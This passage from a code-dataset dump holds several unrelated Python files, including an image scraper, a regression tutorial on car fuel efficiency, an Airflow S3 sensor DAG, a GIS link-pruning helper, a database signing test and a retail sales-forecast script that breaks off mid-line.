img_url = img.get('data-original')\r\n alt = img.get('alt')\r\n alt = re.sub(r'[\\?,。\\.!]', '', alt)\r\n suffix = os.path.splitext(img_url)[1]\r\n filename = alt + suffix\r\n self.image_ueue.put((img_url,filename))\r\nclass Consumer(threading.Thread):\r\n def __init__(self,page_queue,image_queue):\r\n super(Consumer,self) .__init__()\r\n self.page_queue = page_queue\r\n self.image_ueue = image_queue\r\n def run(self):\r\n while True:\r\n if self.image_ueue.empty() and self.page_queue.empty():\r\n break\r\n img_url,filename = self.image_ueue.get()\r\n request.urlretrieve(img_url, '图片/' + filename)\r\n print(filename +'下载完成')\r\ndef main():\r\n page_queue = Queue(10)\r\n image_queue = Queue(100)\r\n for x in range(1,10):\r\n url = 'https://www.doutula.com/article/list/?page=%d'%x\r\n page_queue.put(url)\r\n for x in range(5):\r\n t = Productor(page_queue,image_queue)\r\n t.start()\r\n for x in range(5):\r\n t = Consumer(page_queue,image_queue)\r\n t.start()\r\nif __name__ == '__main__':\r\n main()","repo_name":"sl520701/Multithread","sub_path":"多线程斗图啦.py","file_name":"多线程斗图啦.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25854879770","text":"\n\n\n#parent class\nclass Automobile: \n make = 'Honda'\n model = 'CR-V'\n\n def autoInfo(self):\n entry_make = input('Enter the make of your automobile: ')\n entry_model = input('Enter the model of your automobile: ')\n if (entry_make == self.make):\n print('I have a Honda too!')\n else:\n print('That is a cool car!')\n \n#child class A_Car\nclass A_Car(Automobile):\n cost = 10.00\n doors = 4\n\n def autoInfo(self):\n entry_make = input('Enter the make of your car: ')\n entry_doors = input('How many doors does your car have: ') #replaceing model\n if (entry_doors == self.doors):\n print('My car has 4 doors too!')\n else:\n print('Oh, my car has 4 doors!')\n\n#child class A_Truck\nclass A_Truck(Automobile):\n year = 2019\n doors = 2\n\n def autoInfo(self):\n entry_make = input('Enter the make of your truck: ')\n entry_year = input('What year is your truck: ') #replacing model with year\n if (entry_year == self.year):\n print('Mine is a 2019 too!')\n else:\n print('Oh, mine is a 2019!')\n \n\n\nauto = Automobile()\nauto.autoInfo()\n\ncar = A_Car()\ncar.autoInfo()\n \ntruck = A_Truck()\ntruck.autoInfo()\n\n","repo_name":"karicfuller/Python-Projects","sub_path":"polymorphism_assignment.py","file_name":"polymorphism_assignment.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"26997293213","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # 理论知识回顾\n# ## 回归问题概述\n#   1.1 缘由 \n#   1.2 线性回归 \n#   1.3 线性回归正则化 \n#   1.4 决策树回归 \n# \n# \n# \n# # 案例实战-汽油消耗量预测\n# ## 一 探索性数据分析\n# ## 二 单因素线性回归模型\n#   2.1 数据读取 \n#   2.2 数据拆分 \n#   2.3 模型训练 \n#   2.4 预测结果可视化 \n#   2.5 MSE \n# \n# ## 三 多元线性回归模型\n#   3.1 数据拆分 \n#   3.2 模型构建 \n#   3.3 模型评测 \n# \n# ## 四 决策树回归模型\n#   4.1 特征工程 \n#   4.2 模型构建 \n#   4.3 模型评价 \n#   4.4 缺失值填充 \n# \n\n# ## 1.1 缘由\n# 1855年, 高尔顿发表《遗传的身高向平均数方向的回归》一文,他和他的学生卡尔•皮尔逊Karl·Pearson通过观察1078对夫妇的身高数据,以每对夫妇的平均身高作为自变量,取他们的一个成年儿子的身高作为因变量,分析儿子身高与父母身高之间的关系,发现父母的身高可以预测子女的身高,两者近乎一条直线。当父母越高或越矮时,子女的身高会比一般儿童高或矮,他将儿子与父母身高的这种现象拟合出一种线形关系,分析出儿子的身高y与父亲的身高x大致可归结为以下关系:\n# $$y=33.73+0.516*x$$  (单位为英寸) \n# 根据换算公式1英寸=0.0254米, 1米=39.37英寸。单位换算成米后:Y= 0.8567+0.516*X  (单位为米) \n# 假如父母辈的平均身高为1.75米,则预测子女的身高为1.7597米。 \n# 这种趋势及回归方程表明父母身高每增加一个单位时,其成年儿���的身高平均增加0.516个单位。这就是回归一词最初在遗传学上的含义。\n# \n# 回归模型中,我们需要关注或预测的变量叫做因变量,我们选取的用来解释因变量变化的变量叫做自变量。\n\n# ## 1.2 线性回归\n# \n# 主要包括一元线性回归、多元线性回归。参数估计:最小二乘估计。\n# \n# ### 1.2.1 一元线性回归 \n# \n# 基本假设$y=w_0+w_1x+\\epsilon$,其中$w_0$,$w_1$为回归系数,$\\epsilon$为随机误差项(noise),假设$\\epsilon$服从$N(0, \\sigma^2)$,则随机变量$y$满足$N(w_0+w_1x, \\sigma^2)$\n# \n# ### 1.2.2 多元线性回归\n# $y=w^Tx+\\epsilon$\n# \n# 其中$x=(x_1,x_2,…,x_d)^T$为自变量,$w=(w_1,w_2,…,w_d)^T$为回归系数\n# ### 1.2.3 问题\n# \n# 实际数据可能不是线性的;多重共线性;过拟合等。\n# \n# ### 1.2.4 解决方案\n# \n# 正则化、主成分回归、偏最小二乘回归。\n\n# ## 1.3 线性回归正则化\n# \n# 正则化可以减小线性回归的过度拟合和多重共线性等问题。\n# \n# #### 1.3.1 LASSO\n# \n# 是一种系数压缩估计方法,它的基本思想是通过追求稀疏性自动选择重要的变量,对应参数惩罚函数为L1范数。\n# \n# #### 1.3.2 岭回归(Ridge Regression)\n# \n# 最小二乘法的目标函数上加上一个对$w$的惩罚函数,对应参数惩罚函数为L2范数。\n\n# ## 1.4 决策树回归\n# \"图片名称\"\n\n# \n\n# # 汽油消耗量预测\n\n# ## 一、探索性数据分析 \n\n# ### 1.1 导入数据 \n\n# In[1]:\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\ncars = pd.read_csv('./data/auto-mpg.data',\n names=[\"燃油效率\",\"气缸\",\"排量\",\"马力\",\"重量\",\"加速度\",\"型号年份\",\"编号\",\"原产地\"], delim_whitespace = True)\ncars.shape\n\n\n# In[2]:\n\n\ncars.head()\n\n\n# ### 1.2 添加SimHei\n# \n# 操作步骤:\n# 1. 获取字体库目录\n# import matplotlib\n# print (matplotlib.matplotlib_fname())\n# 2. 下载字体文件SimHei.ttf,并放入matplotlib/mpl-data/fonts/ttf/下\n# 3. 重新编译\n# from matplotlib.font_manager import _rebuild\n# _rebuild()\n\n# In[3]:\n\n\nimport matplotlib\nprint (matplotlib.matplotlib_fname())\n\n\n# In[4]:\n\n\n# from matplotlib.font_manager import _rebuild\n# _rebuild()\n\n\n# ### 1.3 探究数据关系\n\n# In[5]:\n\n\nerror = cars[cars.马力 == '?']\nerror\n\n\n# In[6]:\n\n\ncars['马力'].describe()\n\n\n# In[7]:\n\n\n#cars['马力'].value_counts()\n\n\n# In[8]:\n\n\nimport numpy as np\nimport matplotlib.ticker as ticker\n\n#删除horsepower值为'?'的行\ncars = cars[cars.马力 != '?']\n\n\n# In[9]:\n\n\n\n#设置中文显示\nfrom pylab import mpl\nmpl.rcParams['font.sans-serif'] = ['SimHei']\n\n#用散点图分别展示气缸、排量、重量、加速度与燃油效率的关系\nfig = plt.figure(figsize = (16,14))\nax1 = fig.add_subplot(321)\nax2 = fig.add_subplot(322)\nax3 = fig.add_subplot(323)\nax4 = fig.add_subplot(324)\nax5 = fig.add_subplot(325)\nax6 = fig.add_subplot(326)\nax1.scatter(cars['气缸'], cars['燃油效率'], alpha=0.5)\nax1.set_title('气缸')\nax2.scatter(cars['排量'], cars['燃油效率'], alpha=0.5)\nax2.set_title('排量')\nax3.scatter(cars['重量'], cars['燃油效率'], alpha=0.5)\nax3.set_title('重量')\nax4.scatter(cars['加速度'], cars['燃油效率'], alpha=0.5)\nax4.set_title('加速度')\nax5.scatter([ float(x) for x in cars['马力'].tolist()], cars['燃油效率'], alpha=0.5)\nax5.set_title('马力')\nax6.scatter(cars['型号年份'], cars['燃油效率'], alpha=0.5)\nax6.set_title('型号年份')\n\n\n# ## 二、单因素线性回归模型\n# \n# ### 2.1 提取数据 \n# 从上面已经可以看出汽车与燃油有着线性关系,下面我们将用这部门数据进行训练\n\n# In[10]:\n\n\nY = cars[['燃油效率']]\nX = cars[['重量']]\n\n\n# ### 2.2 数据拆分 \n\n# In[11]:\n\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\n\n\n# ### 2.3 模型构建 \n\n# In[12]:\n\n\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\nLR = LinearRegression()\nLR = LR.fit(X_train, Y_train)\n\n\n# ### 2.4 可视化预测结果\n\n# In[13]:\n\n\nplt.scatter(X_test, Y_test, color='blue', alpha=0.3)\nplt.scatter(X_test, LR.predict(X_test), color='green', alpha=0.3)\nplt.xlabel(\"重量\")\nplt.ylabel(\"燃油效率\")\nplt.title(\"test data\")\nplt.show()\n\n\n# ### 2.5 计算评测指标MSE\n\n# In[14]:\n\n\nmean_squared_error(Y_test, LR.predict(X_test))\n\n\n# ## 三、多元线性回归\n\n# In[15]:\n\n\nY = cars[['燃油效率']]\nX = cars[['重量','马力','排量']]\n\n\n# In[16]:\n\n\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, random_state=0)\n\n\n# ### 3.1 训练模型 \n\n# In[17]:\n\n\n#初始化模型\nmul_LR_model = LinearRegression()\n#拟合模型\nmul_LR_model.fit(X_train, Y_train)\n#预测\nY_test['燃料效率预测值'] = mul_LR_model.predict(X_test)\n#显示\nY_test.head()\n\n\n# ### 3.2 模型评测 \n\n# In[18]:\n\n\nmean_squared_error(Y_test['燃油效率'], mul_LR_model.predict(X_test))\n\n\n# ### 3.可视化预测结果 \n\n# In[19]:\n\n\ntest = pd.concat([X_test,Y_test], axis=1)\ntest.head()\n\n\n# In[20]:\n\n\n\nfig = plt.figure(figsize = (16,8))\nax1 = fig.add_subplot(2,2,1)\nax2 = fig.add_subplot(2,2,2)\nax3 = fig.add_subplot(2,2,3)\nax1.scatter(test['重量'], test['燃油效率'], c='blue', alpha=0.3)\nax1.scatter(test['重量'], test['燃料效率预测值'], c='red', alpha=0.3)\nax1.set_title('重量')\nax2.scatter([ float(x) for x in test['马力'].tolist()], test['燃油效率'], c='blue', alpha=0.3)\nax2.scatter([ float(x) for x in test['马力'].tolist()], test['燃料效率预测值'], c='red', alpha=0.3)\nax2.set_title('马力')\nax3.scatter(test['排量'], test['燃油效率'], c='blue', alpha=0.3)\nax3.scatter(test['排量'], test['燃料效率预测值'], c='red', alpha=0.3)\nax3.set_title('排量')\nplt.show()\n\n## 红色为燃油销量预测结果\n\n\n# ## 四、决策树回归\n\n# In[21]:\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\n# In[22]:\n\n\ncars = pd.read_csv('./data/auto-mpg.data',\n names=[\"燃油效率\",\"气缸\",\"排量\",\"马力\",\"重量\",\"加速度\",\"型号年份\",\"编号\",\"原产地\"], delim_whitespace = True)\ncars.shape\n\n\n# In[23]:\n\n\nerror = cars[cars.马力 == '?']\n\n#删除horsepower值为'?'的行\ncars = cars[cars.马力 != '?']\n\n\n# In[24]:\n\n\ncars.dtypes # 检查数据类型\n\n\n# In[25]:\n\n\ncars['马力'] = cars['马力'].astype(float)\ncars.dtypes # 检查数据类型\n\n\n# ### 4.1 特征工程\n\n# In[26]:\n\n\n\nX = cars.drop('燃油效率', axis=1)\ny_new = cars[['燃油效率']]\nX_new = pd.get_dummies(X) # 将所有的分类型特征转换为数字, 虚拟变量: dummy variables\n\n\n# In[27]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X_new, y_new, \n test_size=.2, \n random_state=10)\n\n\n# ### 4.2 模型构建\n\n# In[28]:\n\n\n\nfrom sklearn.tree import DecisionTreeRegressor\n\nclf = DecisionTreeRegressor(random_state=0)\nclf = clf.fit(X_train, y_train)\ny_test['燃油效率预测值'] = clf.predict(X_test)\ny_test.head()\n\n\n# ### 4.3 模型评价\n\n# In[29]:\n\n\nfrom sklearn.metrics import mean_squared_error\n\nmean_squared_error(y_test['燃油效率预测值'], y_test['燃油效率'])\n\n\n# ### 4.4 缺失值填充\n\n# #### 4.4.1 均值填充 | -1填充\n\n# In[30]:\n\n\nerror['马力'] = np.mean(cars['马力'])\n\nerrorDf = pd.get_dummies(error) # 将所有的分类型特征转换为数字, 虚拟变量: dummy variables\nerrorDf\n\nfor col in X_train.columns:\n if col not in errorDf.columns:\n errorDf[col] = 0\n\n\n# #### 4.4.2 构建模型\n\n# In[31]:\n\n\n\nfrom sklearn.tree import DecisionTreeRegressor\n\nX = pd.concat([X_train, errorDf[X_train.columns]])\nY = pd.concat([y_train, errorDf[y_train.columns]])\n\nclf = DecisionTreeRegressor( random_state=0 )\nclf = clf.fit(X, Y)\ny_test['燃油效率预测值'] = clf.predict(X_test)\ny_test.head()\n\n\n# In[32]:\n\n\nmean_squared_error(y_test['燃油效率预测值'], y_test['燃油效率'])\n\n\n# #### 4.4.3 其他填充\n\n# In[33]:\n\n\n\n#设置中文显示\nfrom pylab import mpl\nmpl.rcParams['font.sans-serif'] = ['SimHei']\n\n#用散点图分别展示气缸、排量、重量、加速度与燃油效率的关系\nfig = plt.figure(figsize = (13,10))\nax = fig.add_subplot(111)\nax.scatter([ float(x) for x in cars['马力'].tolist()], cars['燃油效率'], alpha=0.5)\nax.set_title('马力')\n\n","repo_name":"SGaoNut/Spider","sub_path":"20210722-回归实战.py","file_name":"20210722-回归实战.py","file_ext":"py","file_size_in_byte":10894,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31754802972","text":"from airflow import DAG\nfrom airflow.operators.bash import BashOperator\nfrom airflow.providers.amazon.aws.sensors.s3_key import S3KeySensor\nfrom datetime import datetime, timedelta\nfrom PRIVATE import bucket_name, bucket_key, aws_conn_id\n\n# S3KeySensor monitors an S3 bucket for new files\n# bucket_name is the base bucket name\n# bucket_key is the path to the file(s) you want to monitor\n# poke_interval is the refresh interval in seconds\n\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'start_date': datetime(2016, 11, 1),\n 'email': ['something@here.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 5,\n 'retry_delay': timedelta(minutes=5)\n}\n\ndag = DAG('s3_sensor', default_args=default_args, schedule_interval= '@once')\n\nt1 = BashOperator(\n task_id='bash_test',\n bash_command='echo \"hello, it should work\" > s3_conn_test.txt ',\n dag=dag)\n\nsensor = S3KeySensor(\n task_id='s3_sensor',\n bucket_key='path_to_file(s)',\n bucket_name='bucket_name',\n wildcard_match=True,\n aws_conn_id='aws_conn_id', # should match with Admin -> Connections -> aws_conn in Airflow UI\n timeout=18*60*60,\n poke_interval=120,\n dag=dag)\n\nt1.set_upstream(sensor)\n# 'sensor >> t1' same thing","repo_name":"jmoore87jr/airflow_dags","sub_path":"s3_sensor.py","file_name":"s3_sensor.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"44000670224","text":"import re\nfrom os.path import isfile, join\nfrom tempfile import gettempdir\nfrom urllib.request import urlretrieve\n\nimport geopandas as gpd\nimport pandas as pd\nimport pycountry\nimport requests\nfrom aequilibrae.project import Project\nfrom aequilibrae.project.project_creation import add_triggers, remove_triggers\nfrom shapely.geometry import Polygon\n\n\ndef get_maritime_boundaries(model_place: str):\n \"\"\"\n Import maritime boundaries from countries. If country has no maritime boundary, it returns None.\n\n Parameters:\n *model_place*(:obj:`str`): current model place\n \"\"\"\n country_code = pycountry.countries.search_fuzzy(model_place)[0].alpha_3\n\n url = \"https://github.com/AequilibraE/tradesman/releases/download/V0.1b/maritime_boundaries.gpkg\"\n\n dest_path = join(gettempdir(), \"maritime_boundaries.gpkg\")\n\n if not isfile(dest_path):\n urlretrieve(url, dest_path)\n\n gdf = gpd.read_file(dest_path)\n\n if country_code in gdf.ISO_TER1.values:\n return gdf[gdf.ISO_TER1 == country_code]\n return\n\n\ndef place_is_country(model_place: str):\n \"\"\"\n Checks if model_place is a country.\n\n Parameters:\n *model_place*(:obj:`str`): current model place\n \"\"\"\n search_place = model_place.lower().replace(\" \", \"+\")\n\n nom_url = (\n f\"https://nominatim.openstreetmap.org/search?q={search_place}&format=json&addressdetails=1&accept-language=en\"\n )\n\n r = requests.get(nom_url)\n\n country_name = pycountry.countries.search_fuzzy(r.json()[0][\"address\"][\"country\"])[0].name\n\n if re.search(model_place, country_name):\n return True\n return False\n\n\ndef delete_links_and_nodes(model_place, project: Project):\n \"\"\"\n Removes links and nodes outside the political subdivision.\n\n Parameters:\n *model_place*(:obj:`str`): current model place\n *project*(:obj:`aequilibrae.project.Project`): currently open project\n \"\"\"\n\n if not place_is_country(model_place):\n return\n\n coast = get_maritime_boundaries(model_place)\n\n sql = \"SELECT country_name, division_name, level, Hex(ST_AsBinary(GEOMETRY)) geometry FROM political_subdivisions WHERE level=0;\"\n\n borders = gpd.GeoDataFrame.from_postgis(sql, project.conn, geom_col=\"geometry\", crs=4326).explode(index_parts=True)\n\n if coast is None:\n gdf_country_boundary = borders.copy()\n\n else:\n coast = coast.explode(index_parts=True)\n\n exploded_gdf = coast.overlay(borders, how=\"union\").dissolve().explode(index_parts=True)\n\n get_border_linearring = pd.DataFrame(\n [Polygon(exploded_gdf.exterior.values[i]) for i in range(len(exploded_gdf))], columns=[\"geom\"]\n )\n\n gdf_country_boundary = gpd.GeoDataFrame(get_border_linearring, geometry=get_border_linearring.geom, crs=4326)\n\n links_query = \"SELECT link_id, Hex(ST_AsBinary(GEOMETRY)) geometry FROM links;\"\n\n links = gpd.GeoDataFrame.from_postgis(links_query, project.conn, geom_col=\"geometry\", crs=4326)\n\n inner_gdf = gpd.sjoin(gdf_country_boundary, links, how=\"inner\")\n\n del_links = list(links[~links.link_id.isin(inner_gdf.link_id)][[\"link_id\"]].itertuples(index=False, name=None))\n\n remove_triggers(project.conn, project.logger, \"network\")\n\n project.conn.executemany(\"DELETE FROM links WHERE link_id=?\", del_links)\n project.conn.commit()\n\n nodes_query = \"\"\"DELETE FROM nodes\n WHERE node_id NOT IN (SELECT a_node FROM links\n UNION ALL\n SELECT b_node FROM links);\n \"\"\"\n\n project.conn.execute(nodes_query)\n project.conn.commit()\n\n add_triggers(project.conn, project.logger, \"network\")\n","repo_name":"AequilibraE/tradesman","sub_path":"tradesman/model_creation/delete_links_and_nodes.py","file_name":"delete_links_and_nodes.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"4402866856","text":"def countdown(x):\n if x == 0:\n print(\"Done!\")\n return\n else:\n print(x, \"...\")\n countdown(x - 1)\n \ndef efun(num):\n if num == 0:\n return 1\n else:\n #import pdb \n #pdb.set_trace() \n return num * efun(num - 2)\n\n#countdown(5) \nprint(efun(8))\n","repo_name":"LuisTheDeveloper/Python-DataStructures","sub_path":"Recursion.py","file_name":"Recursion.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28159854629","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 30 20:25:13 2021\n\n@author: ASUS\n\"\"\"\ndef min_number_of_coins_for_change(lst: list, target: int) -> int:\n \"\"\"\n 最小找零问题\n ​O(N^2) time | O(N) space\n \"\"\"\n dp = [float(\"inf\")] * (target + 1)\n dp[0] = 0\n \n for x in lst:\n for i in range(1, len(dp)):\n if x <= i:\n dp[i] = min(dp[i], 1 + dp[i-x])\n \n return dp[-1]\n \n \n \nif __name__ == \"__main__\":\n lst = [2, 1, 4]\n target = 6\n min_number_of_coins_for_change(lst, target)\n","repo_name":"Lukaschen1986/LeetCodeProgress","sub_path":"AlgoExpert/medium/MinNumberOfCoinsForChange.py","file_name":"MinNumberOfCoinsForChange.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29225960901","text":"import unittest\n\nimport index\nfrom utils import CID, schema\n\nfrom Crypto.Hash import SHA384\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import pkcs1_15\nimport base58\n\nimport requests\nfrom requests.structures import CaseInsensitiveDict\nimport json\nimport bson\n\nfrom multiprocessing import Process\n\n\n# load private key\nwith open(\"/ossl/private_unencrypted.pem\", \"r\") as pkf:\n k = pkf.read()\n priv_key = RSA.import_key(k)\n\nclass TestAuth (unittest.TestCase):\n\n # A fresh DB is created\n def test_1_auth_create_db (self):\n # deploy app\n server = Process(target=index.flaskserver)\n server.start()\n\n schema_def = {\n \"description\": \"this is my database\",\n \"unique\": \"r8and0mseEd905\",\n \"encoder\": \"example.com/autoencoder/API\",\n \"codelen\": 30,\n \"metadata\": {\n \"name\": \"string\",\n \"age\": \"number\"\n }\n }\n data_ = { \"schema\": schema_def }\n data_bson = bson.dumps(data_)\n # generate hash\n hash = SHA384.new()\n hash.update(data_bson)\n \n # Sign with pvt key\n signer = pkcs1_15.new(priv_key)\n signature = signer.sign(hash)\n signature = base58.b58encode(signature).decode(\"utf-8\")\n\n url = \"http://127.0.0.1:5001/db/create\"\n\n headers = CaseInsensitiveDict()\n headers[\"Content-Type\"] = \"application/json\"\n\n data = {\n \"data\": data_,\n \"signature\": signature\n }\n\n data = json.dumps(data)\n\n\n resp = requests.post(url, headers=headers, data=data)\n \n database_name_ = resp.json()[\"database_name\"]\n\n schema_def = schema.generate_schema(schema_def)\n database_name = CID.doc2CID(schema_def)\n\n server.terminate()\n server.join()\n\n self.assertEqual(database_name, database_name_, \"DB name doesn't match\")\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Aquila-Network/AquilaDB","sub_path":"src/test/apis/auth_fns.py","file_name":"auth_fns.py","file_ext":"py","file_size_in_byte":1965,"program_lang":"python","lang":"en","doc_type":"code","stars":372,"dataset":"github-code","pt":"52"} +{"seq_id":"926316328","text":"import pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.linear_model import Ridge\r\nfrom sklearn.linear_model import Lasso\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\nfrom sklearn.linear_model import ElasticNet\r\nfrom sklearn import metrics\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\nfile = r'C:\\Users\\kumadee\\Desktop\\assignment2-kmart_sales_forecast\\%s'\r\n\r\n#Read train and test data set\r\ntrain_df = pd.read_csv(file % 'train_kmart.csv')\r\ntest_df = pd.read_csv(file % 'test_kmart.csv')\r\n\r\nprint(train_df.head())\r\nprint(train_df.describe())\r\n# train_df.columns\r\n\r\n# correlation\r\nsns.heatmap(train_df.corr())\r\n\r\ndef imputer_outlet_size(data, limit1, limit2):\r\n \"\"\"Given limit1 and limit2 values after observing describe() \"\"\"\r\n \r\n print('Before imputing outlet size: ', pd.Categorical(data.Outlet_Size).describe())\r\n data.Outlet_Size = data.Outlet_Size.fillna('High', limit=limit1) # 565\r\n data.Outlet_Size = data.Outlet_Size.fillna('Medium', limit=limit2) # 923\r\n data.Outlet_Size = data.Outlet_Size.fillna('Small')\r\n print('After Imputing outlet size: ',pd.Categorical(data.Outlet_Size).describe())\r\n\r\n\r\ndef imputer_item_fat_content(data):\r\n print('Before imputing item fat content: ', \r\n pd.Categorical(data.Item_Fat_Content).describe())\r\n data.Item_Fat_Content = data.Item_Fat_Content.replace(('LF', 'low fat'), 'Low Fat')\r\n data.Item_Fat_Content = data.Item_Fat_Content.replace('reg', 'Regular')\r\n print('After imputing item fat content: ',\r\n pd.Categorical(data.Item_Fat_Content).describe())\r\n \r\n \r\ndef imputer_item_weight(data):\r\n # print('{Totoal NA: }'.format(data.Item_Weight.isnull().value_counts()[1]))\r\n print('Total NA in item weight: ', sum(np.isnan(data.Item_Weight)))\r\n # Fill NA with mean value\r\n data.Item_Weight = data.Item_Weight.fillna(data.Item_Weight.mean())\r\n\r\n\r\ndef imputer_item_visibility(data):\r\n #Find counts of zeros\r\n print('Total zeores count in item visibility: ', \r\n data[data.Item_Visibility == 0].Item_Visibility.value_counts())\r\n # Replacing zeros with mean value \r\n data.Item_Visibility = data.Item_Visibility.replace(0, train_df.Item_Visibility.mean())\r\n plt.hist(data.Item_Visibility)\r\n\r\ndef labelencoding_item_fat_content(data):\r\n print('label encoding for item fat content...')\r\n mapping_Item_Fat_Content = {'Regular': 1, 'Low Fat': 0}\r\n data.Item_Fat_Content = data.Item_Fat_Content.map(mapping_Item_Fat_Content)\r\n\r\ndef labelencoding_outlet_size(data):\r\n print('label encoding for outlet size...')\r\n mapping_Outlet_Size = {'Small': 0, \"Medium\": 1,'High': 2}\r\n data.Outlet_Size = data.Outlet_Size.map(mapping_Outlet_Size)\r\n\r\ndef labelencoding_Outlet_Type(data):\r\n print('description for outlet type: ',\r\n pd.Categorical(data.Outlet_Type).describe())\r\n print('label encoding for outlet type...')\r\n mapping_Outlet_Type = {'Grocery Store': 0, 'Supermarket Type1': 0, \r\n 'Supermarket Type2': 1, 'Supermarket Type3': 2}\r\n data.Outlet_Type = data.Outlet_Type.map(mapping_Outlet_Type)\r\n\r\ndef labelencoding_outlet_location_type(data):\r\n # print(data.Outlet_Location_Type.unique())\r\n print('description of outlet location type: ',\r\n pd.Categorical(data.Outlet_Location_Type).describe())\r\n print('label encoding for outlot location type...')\r\n mapping_Outlet_Location_Type = {'Tier 1': 0, 'Tier 2': 1, 'Tier 3': 2}\r\n data.Outlet_Location_Type = data.Outlet_Location_Type.map(mapping_Outlet_Location_Type)\r\n\r\n# Handling missing data\r\nimputer_outlet_size(train_df, 565, 923)\r\nimputer_item_fat_content(train_df)\r\nimputer_item_weight(train_df)\r\nimputer_item_visibility(train_df)\r\n\r\n# Handling categorical data\r\nlabelencoding_item_fat_content(train_df)\r\nlabelencoding_outlet_size(train_df)\r\nlabelencoding_Outlet_Type(train_df)\r\nlabelencoding_outlet_location_type(train_df)\r\n\r\n# features and label\r\ny = train_df.Item_Outlet_Sales\r\nx = pd.get_dummies(train_df.Item_Type)\r\n\r\ntrain_df = pd.concat([train_df.iloc[:,1:], x], axis=1)\r\ntrain_df = train_df.drop(['Item_Type'], axis=1)\r\nx = pd.get_dummies(train_df.Outlet_Identifier)\r\ntrain_df = pd.concat([train_df, x], axis=1)\r\ntrain_df = train_df.drop(['Outlet_Identifier', 'Item_Outlet_Sales'], axis=1)\r\n\r\n# Dividing data set into two parts train set and test set\r\ntrain_x, test_x, train_y, test_y = train_test_split(train_df, y)\r\n\r\n# Building models\r\nlr = LinearRegression()\r\nridge = Ridge(alpha=0.01, normalize=True)\r\nlasso = Lasso(alpha=0.1, normalize=True)\r\nelasticnet = ElasticNet(alpha=0.01, l1_ratio=1)\r\nrfr = RandomForestRegressor(n_estimators=500, min_samples_split=350)\r\nmodels = (lr, ridge, lasso, elasticnet, rfr)\r\n\r\nfor model in models:\r\n print(f'Calling model object: {model}')\r\n model.fit(train_x, train_y)\r\n # print(pd.DataFrame(lr.coef_, train_df.columns, columns=['Coefficient']))\r\n predict = model.predict(test_x)\r\n print(np.sqrt(mean_squared_error(test_y, predict)))\r\n print(r2_score(test_y, predict))\r\n \r\n\r\n\r\n\r\n# graph for check the prediction vs test target\r\nrfr.fit(train_x, train_y)\r\npredict = rfr.predict(test_x)\r\nplt.hist([test_y, predict], color=['orange', 'green'])\r\nplt.legend(['actual target', 'predicted target'])\r\nplt.savefig('RandomForest Prediction image')\r\nplt.show()\r\n\r\n\r\n# Neural network model\r\nimport keras\r\nfrom keras.models import Model, Sequential\r\nfrom keras.callbacks import TensorBoard\r\nfrom keras.layers import Input, Dense, Reshape, Dropout, Activation\r\nfrom keras.optimizers import SGD, Adam\r\n\r\ntrain_x, test_x, train_y, test_y = train_x.values, test_x.values, train_y.values, test_y.values\r\n\r\nlr = 0.001 # learning rate\r\nwd = 0.01\r\nbatch_size = 128\r\nnum_epochs = 50\r\nmodel = Sequential()\r\n\r\nmodel.add(Dense(512,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(256,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(512,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(256,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(780,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(220,input_dim=34, activation='relu', kernel_initializer='normal'))\r\nmodel.add(Dense(1, kernel_initializer='normal'))\r\n#sgd = SGD(lr=lr, decay=1e-3, momentum=0.9, nesterov=True, clipvalue=5.0)\r\nadam = Adam(lr=lr, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\r\nmodel.compile(loss='mean_squared_error', optimizer=adam, metrics=['accuracy'])\r\nprint(model.summary())\r\nmodel.fit(train_x, train_y, \r\n epochs=num_epochs, \r\n batch_size=batch_size, \r\n shuffle=True,\r\n validation_data=(test_x, test_y))\r\n\r\nkeras_predicts = model.predict(test_x)\r\nkeras_predicts = pd.DataFrame(keras_predicts)\r\nprint(np.sqrt(metrics.mean_squared_error(test_y, keras_predicts)))\r\n\r\n\r\n\r\n######## Handling Test data set #############\r\n\r\n# handling missing data\r\nimputer_outlet_size(test_df, 300, 